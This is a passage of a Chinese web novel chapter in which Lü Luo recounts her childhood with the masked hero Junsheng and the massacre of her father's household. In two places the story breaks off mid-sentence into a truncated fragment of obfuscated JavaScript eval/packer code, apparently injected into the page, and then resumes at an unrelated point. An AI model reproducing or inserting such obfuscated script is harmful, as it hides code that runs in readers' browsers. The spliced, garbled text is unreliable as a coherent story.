人到齐了,林清原喊来小二,又续了一桌菜。 趁着白仙贝和成柳吃饭,她把她收集和推测出的信息都讲了一遍。 新记明在目前已知的线索上进行补充: “我今天只查了一件事,那就是十四年前的府尹灭门案。 “府尹灭门案发生在丰城,我原打算去丰城一趟,但是在办路引的时候,意外发现了从丰城迁居到原城的商户。经过我的调查,这商户是曾被巨侠约战的其中一家的远方亲戚。 “我顺藤摸瓜,在城内又找出了几家与巨侠约战之事有关的人家,这些人遍布各行各业、各个阶层,乍一看彼此间似乎毫无关联。但是如果再往前挖,就能挖出他们之间的共同点——府尹灭门案。 “他们的远亲、朋友、邻居,正是被巨侠约战的对象,而巨侠所约之人,在十多年前,都与府尹关系紧密。虽然也有几人没有调查出与府尹的关系,但是他们当年所在的行当,恰恰是驿道、钱庄这一类的。” 成柳了然:“运输人马、钱财转移。” 白仙贝长吐一口气:“果然府尹的事是有人做局啊。这种传言在丐帮里很火。那么丑巨侠的行为也能解释了,确实是寻仇。” 林清原问:“丐帮对府尹灭门案很关注吗?” 白仙贝答:“准确来说,丐帮关注的是立太子的风向。” 成柳接过解释:“丐帮混迹于市,三教九流的消息都逃不过他们的耳目。原城虽为天子脚下,但是府尹所居地是在丰城。” 徐然问:“那这和立太子有什么关系?大街小巷对于立太子的猜测有不少,但基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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成柳捧场之极,不仅将作完生动讲述的白仙贝夸的天上有地下无,还翻手一变,拿出了一根糖葫芦,喂给了她。 白仙贝晕乎乎地吃下糖葫芦,脑袋上瞬间冒出了糖葫芦装饰,可爱至极,像是专为糖葫芦代言的福娃。 林清原做了总结:“目前来看,最为通顺的故事逻辑走向,就是替巨侠正名,还原府尹灭门案的真相。此时太子之位高悬,如果我们能放出府尹灭门案和江南盐商灭门案的消息,自会有人抓住机会,尽力相争。” 敲定了接下来的行动,几人便再次分开,潜入市井,搅起江湖浑水。 不过林清原在找到刷任务的比利后,心下有了别的打算。 她去见了绿夫人。 绿夫人见到林清原前来,还以为是得知了巨侠的下落。却没有听到想要的答案,难掩失落。 林清原邀她:“不若同我去杏花村,见一见那个书生?” 绿夫人自嘲一笑:“妾十数年来,自是什么人都找过、什么人都见过,且不说巨侠习武,哪怕是毫不相干的小厮、说客、甚至是药人,都不肯错过。可是见的越多,希望越小。妾实在疲乏了。” “青梅竹马,两小无猜。一别生死,千里相望。” 林清原的话让绿夫人低下了头。 良久,她道: “罢了,既已查到这个份上,我便再走一遭吧。” 63. 青梅竹马 杏花村仍是离开时的模样。蜿蜒的小路旁,树木葱郁,花草相携;老人们聚在树下喝茶下棋,孩童们追着黄狗嬉闹奔跑;饭香混着酒香,从瓦房里漫出来,在风中轻轻飘荡。 一直面无表情的绿夫人,在来到村子后,便倏地红了眼眶。 “绿夫人……”林清原唤她。 绿夫人眨了眨眼,偏过头去,拿帕子拭去眼角的泪。 她站在原处不动,林清原也不敢打扰。 忽然从远处跑来了一对红衣绿鬓,小儿在前笑叫,小女在后追逐。两人踏过溪边青石,惊得游鱼四逃,还把荫下打盹的白鹅吓得扑棱棱拍翅,溅起一串水珠子,在阳光下亮晶晶地散开。 绿夫人望着这一幕失了神。 林清原又唤她:“绿夫人……” 绿夫人的眼神一直追着那双稚儿远去,直到他俩拐过路口,再看不见身影,她才恋恋不舍地回神。 “叫我绿萝吧。我已很久没听过这个名字了。” 林清原给她指方向:“绿萝,书生在村子的那头。” 绿萝长舒了一口气:“好。” 村子不大,走不多时便到了笔砚店。 意外的是,这里并没有书生的身影。 林清原转到旁边的铺子,询问书生的去向。打听完回来后,就见到绿萝站在店内,轻轻翻着台上的字帖。 “书生有时候会出去采风,再等等就该回来了。” “那便等等吧。” 绿萝说完,便安静地坐在了椅子上,身形隐在阴影中,神色晦暗。 林清原觉着,绿萝比起刚进村子时的激动,现在像是被抽干了情绪,浑身上下都被绝望笼罩,只剩一口气还在吊着。 她翻了翻字帖,字形迥异,各有特色,每篇都不失为佳作。 瞧着没问题。 那绿萝怎么会突然变化这么大?难道是看到那对玩闹的孩童,触景生情,想起了自己的过去? 约莫过了一盏茶的时间,书生背着个挎包回来了。他见到店里来了客人,熟络地招待: “两位可是要买些什么?还是要寄信?亦或是代写代读?” 绿萝细细打量了书生后,便恢复了一贯的从容。 她道:“我就是绿夫人。” 书生猛地一听,尚未反应过来这是谁,问道一半才想起: “那这位绿夫人,可是要买……啊,原来您就是绿夫人。” 他露出和善的笑容:“绿夫人是要回信吗?” 绿萝从椅子上站起,向前走了两步,眼中隐含期待: “你既然能寄信、也能回信,那你必然是知道给我寄信的人在哪里了?” 书生面色郝然:“那倒没有,给你的那封信是我偶然得到的。以前去采风的时候,我不巧被野狼围攻了,本以为要殒命当场,却路过了一位侠客。他将我救下后,得知我可以代为寄信,便给了我一封信,让我送给原城花塘坊的绿夫人。没成想自那之后我一直没得空,才托了这位女侠送信。” 绿萝问:“你是何时见到那个侠客的?” 书生回忆道:“应有月余了。” 绿萝的神色落寞:“竟有月余了。” 书生问:“姑娘可要回信?” 绿萝犹豫了下,执笔在纸上写了一个字: 死。 她停了许久,浓重的墨汁洇染了纸背。然后她又写下了另一个字: 生。 她将这张纸随意折起,交给书生:“若是再见他,就交予他。若是见不到,便烧了吧。” 离开店铺,绿萝问林清原:“可否带我去见见狼群?” 林清原满口答应,转身的时候余光瞥到了门口的立牌,就停下来看了两眼。 立牌上的字已经更改,先前是“拿狼王的毛可以换十个普通兔毛”,现在是“拿三个鸡蛋可以换十份普通狼毛”。 绿萝有些讶异:“鸡蛋可以换狼毛?现在狼毛竟也成了易易之物吗?” 比利幸灾乐祸地拍了拍林清原的脑袋。 来到野外,林清原山上山下都找了,一只狼都没见到,这让她倍感奇怪: “狼呢?我那么多可爱又毛多的狼呢?” 比利慢悠悠地答了几声。 林清原瞪大了眼睛:“你这只狗狗不要乱说的好伐,这怎么能怪到我身上呢?” 一人一狗争辩得不亦乐乎。 绿萝好奇问道:“你们在讲什么?找不到狼了?” 林清原挠了挠脸:“啊,好像是…那个什么,狼嘛,它们……咳,我之前扒毛貌似扒太凶了,它们记住我的气味了,就都躲起来了。” 绿萝张嘴呆了一会儿,“噗嗤”一声笑了出来。 “哈哈哈哈……”她越笑越欢,最后直接不顾形象笑倒在了地上。 “哎呦,”她拿手抹去笑出来的眼泪,连连摇头。“没想到这么多年过去,我还能见到第二个把狼祸害得逃走的人物!” “第二个?”林清原好奇地蹲下,问:“第一个是谁?难道是丑巨侠?” 绿萝笑意盈盈地抬眼:“我给你讲讲我小时候的故事吧。” 她站起身,拍了拍身上的灰,雀跃着往山上走,浑身上下透露出少女的活泼。 “小时候呢,我家虽不算大富之家,但是父母敬和、家仆和谐,我的生活很幸福。 “五岁那年,家父从外归来,身负重伤,还带回来了一个痴儿。 “这个痴儿好生奇怪,空有人形,却不通人语;不辨人心,却情深志重。父亲讲,正是这痴儿帮他引开了狼群,他才得以回家。就此,痴儿成了我家的一份子,明面上无法落户,私下却是我的‘义哥’。 “父亲为其取名‘俊生’,他在开蒙后却自改为‘丑生’,得了父亲好大一顿骂呢!不过自那之后,父亲便给他打了半幅铜面,覆在脸上,刚刚好遮住他脸上的半面红色疤痕。 “俊生为人热忱,心思细腻,刚开始并不与我相熟,哪怕我总缠着他玩,他也多是以‘功课繁忙’拒绝我的接近。直到后来有次,我们举家出游,去到了一个风景秀美的地方。尽管母亲叮嘱过我,让我勿要独自上山,我还是追着松狗[1]跑到了山里。待我觉得害怕,想要下山,却迷了路。 “甚是不巧,我无意间跑到了狼崽周边,也因此被狼群盯上。我不过六七岁的年龄,怎能从狼口逃生?就在这时,俊生找到了我,他二话不说便去与狼群搏斗。 “俊生是练武奇才,哪怕入行稍晚,他面对狼群也丝毫不落下风。眼见他要将狼群赶绝,我见到瑟瑟发抖窝在一旁的狼崽,心生不忍,让他停下,他才收了手。可惜护崽心切的狼们怎会善罢甘休?于是俊生做了件让我震惊至今的事。 “他将还活着的每一只成年狼都拔了毛。每拔一只,便将狼崽扔过去一只。等狼崽全部回到了身边,狼群便匆匆撤退,不再给俊生拔毛的机会。 “过了几日,我们一家上山踏游,导者为我们准备了驱兽的药,然而直到下山,也未曾见兽一面。导者稀奇:平日山上有狼,也恰逢生崽之季,备药本为防患于未然,却似作了空用。我便笑:已有奇药在身旁,何惧狼兽? “自那之后,俊生与我熟悉起来。我们彼此陪伴,他如我真正的兄长那般呵护我。每逢私塾散学,他便在槐树下候着,见到我的面便递来糖渍梅子;知我怕黑,却偏贪玩,他便举着灯笼伴我左右,再背我回家。对了,我们偶尔还会偷酒吃呢!别看他武功很好,喝了一杯新酿便会上脸,好玩得不得了!” 绿萝站在山顶,眺望着视野里那座小小的村落。 “那时我们总爱在庄子里玩,那庄子,便如这杏花村一样宁静……” 风吹过衣袂,她身上的气质再度变得沉稳。 登山的这段路仿佛是她的前半生的映照,她从一个追蝶簪花的垂髫灵姝,一路行至如今眉间凝着轻愁的绿夫人。 “一切的转变都始于父亲亲审的那桩大案。 “彼时流寇不断,山贼难防。父亲偶然得知,又有一批寇贼潜于城内,便派兵去剿寇。剿寇大获成功,也收得了大量银箱,银箱数量之多,甚至能填满十个库房!父亲心觉事有蹊跷,于是上报朝廷。可还未等朝廷的人来到丰城,我们便在那一夜被屠了满门!” 绿萝抿着嘴,眼泪不停地落下。她缓了好一会儿,才颤抖着声音继续说: “还是因我贪玩……当天夜有异象,我央俊生带我去偷溜出去,寻个好去处去观星。待观星回来,便撞上了还在搜我身影的刽子手们。俊生带我逃命,慌乱中,他脸上的面具被扯掉,留在了那一夜。 “之后数日,我们向城外奔逃,那追杀之人却从四面八方而来,我们避无可避。终于在又一次围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她的泪水如断珠般不停滚落:“在‘丑侠’的名号现于世间之时,我便知道,俊生他还活着。发现他所杀之人,皆为以前府中交好、却在大皇子构逆事件后晋升之人,我便清楚,他在以他的方式复仇。我有心想与他联系,奈何自身远走他乡、隐姓埋名,且已卖契于花塘坊,我再无颜面与他相见,只盼他好好活着便够了。只是没想到,十年前……” 绿萝泣不成声。林清原接话: “十年前,巨侠联合围剿。” 绿萝平复了一下心情,说:“十年前的联合围剿后,朝廷宣布巨侠已死。我伤心欲绝,几次轻生,被嬷嬷救下。嬷嬷许我签的红契[4]可在满十年后废契,且暂时让我休息。 “就在我休息的那段时间,我收到了俊生寄来的第一封信。他告知我,他无事,只是同隐在江湖,不便出面相认。他给我寄了很多银子,让我存着,将来好拿着这些银钱去过新的生活。 “因为他的信,我重新燃起了生的希望。我活下去的目的变了,我不再求真相大白于天下,我只求能再见俊生。然而俊生他不愿见我。他莫不是嫌弃我了? “三年前,我的红契期满,我多年苦寻俊生踪迹不得,也无处可去,便在花塘坊签了曲契[5],生生捱着自己的命罢了。” 绿萝笑着看向林清原,语气轻柔:“我已将全部的心事剖开,过往秘事也尽显于前,女侠作何决断,我不会干涉。” 她将一小瓶药放到林清原的手上: “这是香毒的解药,算作感谢你听我讲这一路的浑话。不必领我去见俊生了,他既不愿见我,我或许也该放弃执念了。” 林清原手握药瓶,心底酸涩。 绿萝这番话已经明白透出了死意。 可她不想绿萝在最后的日子里也不得安宁。 林清原握住绿萝的手,坚定地说:“我会为你昭白于天下,也会找到巨侠引你俩相见。且等两日,事情定会有转机!” 绿萝宽慰她:“不必着急。我只是不愿再回原城了。最后的时日,在这个杏花村住下,修身养性,也可忆童稚之欢,实在美哉。” 可忆童稚之欢? 林清原心念一动,向绿萝要来了巨侠寄的小信,另作他用。 绿萝给的爽快。她道: “心结已结,信于我已无用了。既决定在村内住下,还要去寻个住的地方了。” 比利驮着林清原和绿萝,缓缓向杏花村走去。